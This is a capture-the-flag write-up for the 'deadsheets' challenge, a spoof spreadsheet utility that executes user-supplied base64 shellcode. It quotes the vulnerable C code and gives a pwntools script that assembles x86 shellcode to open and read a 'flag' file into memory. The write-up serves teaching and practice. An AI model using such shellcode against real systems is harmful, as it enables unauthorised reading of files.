Writeup: deadsheets

Spreadsheets. They are cloud-native ways to turn data into insights. They save time with extensible interfaces that jumpstart trend analysis. But until now, they’ve never run shellcode.

Introducing powered by dead®: Dangerously Extensible Ancient Database. The only database firmware fearless enough to strip away the stringy/chewy meat of traditional spreadsheet software and leave only the pure and perfect shell.

Wow!
❯ ./dead
dead: CLI utility for the Dangerously Extensible Ancient Database

Usage: ./dead <filename> <operation> [cell] [argument]
  filename      Name of the file update
  operation     UPDATE or UPDATE_EX
  cell          If operation is UPDATE or UPDATE_EX, specifies the row,column of the
                cell on which to perform the update operation
  argument      If operation is UPDATE, specifies the value to update the cell with
                If operation is UPDATE_EX, specifies the base64 encoded shellcode used
                to update the cell. The shellcode starts at address 0x804c080

Source code and this message show that UPDATE_EX really does execute some shellcode.

    if (ex) {
        int shellcode_length;
		char *decoded = base64_decode(argument, &shellcode_length);
        shellcode_length = shellcode_length < MAX_LEN ? shellcode_length : MAX_LEN;
        memcpy(shellcode, decoded, shellcode_length);
        free(decoded);

        // Run shellcode to determine the value with which to update the cell
        mprotect(shellcode - ((long int)shellcode % 4096), 4096, PROT_READ | PROT_WRITE | PROT_EXEC);
        char *(*shellcode_func)() = (char *(*)())shellcode;
        char *result = shellcode_func();
        
        // Copy the result of running the shellcode into the cell
        contents[row][col] = malloc(strlen(argument) + 1);
        memcpy(contents[row][col], result, strlen(result) + 1);
    }

This database updates upon refresh. Entering most strings (that don’t correspond to b64 shellcode that returns a pointer to a string) results in an empty cell. If the shellcode does return such a pointer, it will contain the contents of that string. For example, the address 0x804973c corresponds to the string “=” in memory. Shellcode

mov eax,0x804973c
ret

(base64 uDyXBAjD)

results in a cell with these contents:

So if we write shellcode that reads a file named “flag” into a buffer, whose address is moved to eax…

#!/usr/bin/python
from pwn import *

from base64 import b64encode

bss_addr = 0x0804c060
flag_addr = bss_addr + 5

payload = asm(f"""
pushad

mov eax, 0x5
push 0x67616c66
mov ebx, esp
mov ecx, 0x0
mov edx, 0x0
int 0x80

mov ebx, eax
mov eax, 0x3
mov ecx, {bss_addr}
mov edx, 0x40
int 0x80


popad
mov eax, {bss_addr}
ret
""")
print(b64encode(payload))

We replace our cell with the contents of the flag file!